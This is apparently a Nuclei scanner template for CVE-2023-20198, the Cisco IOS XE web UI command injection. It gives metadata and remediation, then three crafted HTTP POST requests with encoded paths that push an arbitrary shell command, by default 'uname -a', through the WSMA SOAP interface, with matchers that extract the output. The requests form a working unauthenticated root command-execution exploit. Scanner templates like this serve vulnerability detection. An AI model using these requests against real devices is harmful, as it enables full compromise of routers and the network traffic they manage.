CVE-2023-20198: Cisco IOS XE Web UI - Command Injection

id: CVE-2023-20198

info:
  name: Cisco IOS XE Web UI - Command Injection
  author: iamnoooob,rootxharsh,pdresearch,nullenc0de
  severity: critical
  description: |
    A vulnerability in the web UI component of Cisco IOS XE Software could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on the underlying operating system. This vulnerability is due to improper input validation in the web UI. An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute arbitrary commands with root privileges on the underlying operating system.
  impact: |
    Unauthenticated attackers can execute arbitrary commands with root privileges through crafted HTTP requests to the web UI component, potentially compromising the entire Cisco IOS XE router and all managed network traffic.
  remediation: |
    Apply Cisco security patches from advisory cisco-sa-iosxe-webui-privesc-j22SaA4z that validate input in the web UI and prevent command injection in the SOAP API.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
    - https://www.rapid7.com/blog/post/2023/10/16/etr-cisco-ios-xe-web-ui-cve-2023-20198-active-exploitation/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-20198
    epss-score: 0.99571
    epss-percentile: 0.99946
  metadata:
    max-request: 1
    verified: true
    vendor: cisco
    product: ios_xe
    shodan-query: http.html_hash:1076109428
  tags: cve,cve2023,cisco,rce,router,iot,network,kev,vkev,vuln

variables:
  cmd: 'uname -a'

http:
  - raw:
      - |
        POST /%77eb%75i_%77sma_Http HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
        Content-Type: text/xml; charset=UTF-8
        Connection: close

        <?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>{{cmd}}</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>
      - |
        POST /%2577eb%2575i_%2577sma_Http HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
        Content-Type: text/xml; charset=UTF-8
        Connection: close

        <?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>{{cmd}}</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>
      - |
        POST /%2577ebui_wsma_https HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
        Content-Type: text/xml; charset=UTF-8
        Connection: close

        <?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>{{cmd}}</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - XMLSchema
          - execLog
          - Cisco Systems
          - <text>
          - <received>
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - "<text>([\\s\\S]*?)</text>"
# digest: 4a0a004730450220276ffc2a1eaa317936e5735f8a9957ca4ae4a5fa19f9ea7093291ed0588ebee2022100c2bc383d5e5074ab74ec6a7164562e7bc71b0bb30a49a4b4d903e1e6b5f4f262:922c64590222798bb761d5b6d8e72950

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